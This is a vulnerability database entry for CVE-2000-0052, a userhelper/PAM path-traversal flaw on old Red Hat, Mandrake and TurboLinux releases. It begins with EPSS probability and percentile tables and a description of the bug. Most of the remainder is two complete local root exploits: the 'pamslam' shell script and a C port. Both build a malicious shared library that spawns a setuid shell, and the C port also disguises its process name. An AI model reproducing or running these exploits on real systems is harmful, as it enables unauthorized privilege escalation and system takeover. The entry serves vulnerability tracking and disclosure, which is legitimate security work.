CVE-2000-0052 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.11%
2025-03-30	–	–	–	–	0.31%
2025-04-15	–	–	–	–	0.31%
2025-04-22	–	–	–	–	0.31%
2025-04-28	–	–	–	–	0.31%
2025-05-01	–	–	–	–	0.31%
2025-05-01	–	–	–	–	0.31,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	27%
2025-03-30	51%
2025-04-15	53%
2025-04-22	54%
2025-04-28	53%
2025-05-01	54%
2025-05-01	54%

Mandrake 6.0/6.1,RedHat 6.0/6.1,Turbolinux 3.5 b2/4.2/4.4/6.0.2 userhelper/PAM Path Vulnerability (1) source: https://www.securityfocus.com/bid/913/info Because of double path vulnerabilities in the binary userhelper and PAM, it is possible to get root locally on RedHat 6.0 and 6.1 systems. Both userhelper and PAM follow ".." paths and userhelper allows you to specifiy a program to execute as an argument to the -w parameter (which is expected to have an entry in /etc/security/console.apps). Because of this, it's possible to specifiy a program such as "../../../tmp/myprog", which would (to userhelper) be "/etc/security/console.apps/../../../tmp/myprog". If "myprog" exists, PAM will then try to execute it (with the same filename). PAM first does a check to see if the configuration file for "../../../tmp/myprog" is in /etc/pam.d/ but also follows ".." directories -- to an attacker's custom pam configuration file. Specified inside the malicious configuration file (/tmp/myprog) would be arbitrary shared libraries to be opened with setuid privileges. The arbitrary libraries can be created by an attacker specifically to compromise superuser access, activating upon dlopen() by PAM. This vulnerability also affects Mandrake Linux versions 6.0 and 6.1, as well as versions of TurboLinux Linux, version 6.0.2 and prior. #!/bin/sh # # pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start # found by dildog@l0pht.com # # synopsis: # both 'pam' and 'userhelper' (a setuid binary that comes with the # 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to # _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper' # being setuid means we can get root. # # fix: # No fuckin idea for a good fix. Get rid of the .. paths in userhelper # for a quick fix. Remember 'strcat' isn't a very good way of confining # a path to a particular subdirectory. # # props to my mommy and daddy, cuz they made me drink my milk. cat > _pamslam.c << EOF #include<stdlib.h> #include<unistd.h> #include<sys/types.h> void _init(void) { setuid(geteuid()); system("/bin/sh"); } EOF echo -n . echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf chmod 755 _pamslam.conf echo -n . gcc -fPIC -o _pamslam.o -c _pamslam.c echo -n o ld -shared -o _pamslam.so _pamslam.o echo -n o chmod 755 _pamslam.so echo -n O rm _pamslam.c rm _pamslam.o echo O /usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf sleep 1s rm _pamslam.so rm _pamslam.conf

// source: https://www.securityfocus.com/bid/913/info Because of double path vulnerabilities in the binary userhelper and PAM, it is possible to get root locally on RedHat 6.0 and 6.1 systems. Both userhelper and PAM follow ".." paths and userhelper allows you to specifiy a program to execute as an argument to the -w parameter (which is expected to have an entry in /etc/security/console.apps). Because of this, it's possible to specifiy a program such as "../../../tmp/myprog", which would (to userhelper) be "/etc/security/console.apps/../../../tmp/myprog". If "myprog" exists, PAM will then try to execute it (with the same filename). PAM first does a check to see if the configuration file for "../../../tmp/myprog" is in /etc/pam.d/ but also follows ".." directories -- to an attacker's custom pam configuration file. Specified inside the malicious configuration file (/tmp/myprog) would be arbitrary shared libraries to be opened with setuid privileges. The arbitrary libraries can be created by an attacker specifically to compromise superuser access, activating upon dlopen() by PAM. This vulnerability also affects Mandrake Linux versions 6.0 and 6.1, as well as versions of TurboLinux Linux, version 6.0.2 and prior. /* * pam-mdk.c (C) 2000 Paulo Ribeiro * * DESCRIPTION: * ----------- * Mandrake Linux 6.1 has the same problem as Red Hat Linux 6.x but its * exploit (pamslam.sh) doesn't work on it (at least on my machine). So, * I created this C program based on it which exploits PAM/userhelper * and gives you UID 0. * * SYSTEMS TESTED: * -------------- * Red Hat Linux 6.0, Red Hat Linux 6.1, Mandrake Linux 6.1. * * RESULTS: * ------- * [prrar@linux prrar]$ id * uid=501(prrar) gid=501(prrar) groups=501(prrar) * [prrar@linux prrar]$ gcc pam-mdk.c -o pam-mdk * [prrar@linux prrar]$ ./pam-mdk * sh-2.03# id * uid=0(root) gid=501(prrar) groups=501(prrar) * sh-2.03# */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[]) { FILE *fp; strcpy(argv[0], "vi test.txt"); fp = fopen("abc.c", "a"); fprintf(fp, "#include<stdlib.h>\n"); fprintf(fp, "#include<unistd.h>\n"); fprintf(fp, "#include<sys/types.h>\n"); fprintf(fp, "void _init(void) {\n"); fprintf(fp, "\tsetuid(geteuid());\n"); fprintf(fp, "\tsystem(\"/bin/sh\");\n"); fprintf(fp, "}"); fclose(fp); system("echo -e auth\trequired\t$PWD/abc.so > abc.conf"); system("chmod 755 abc.conf"); system("gcc -fPIC -o abc.o -c abc.c"); system("ld -shared -o abc.so abc.o"); system("chmod 755 abc.so"); system("/usr/sbin/userhelper -w ../../..$PWD/abc.conf"); system("rm -rf abc.*"); }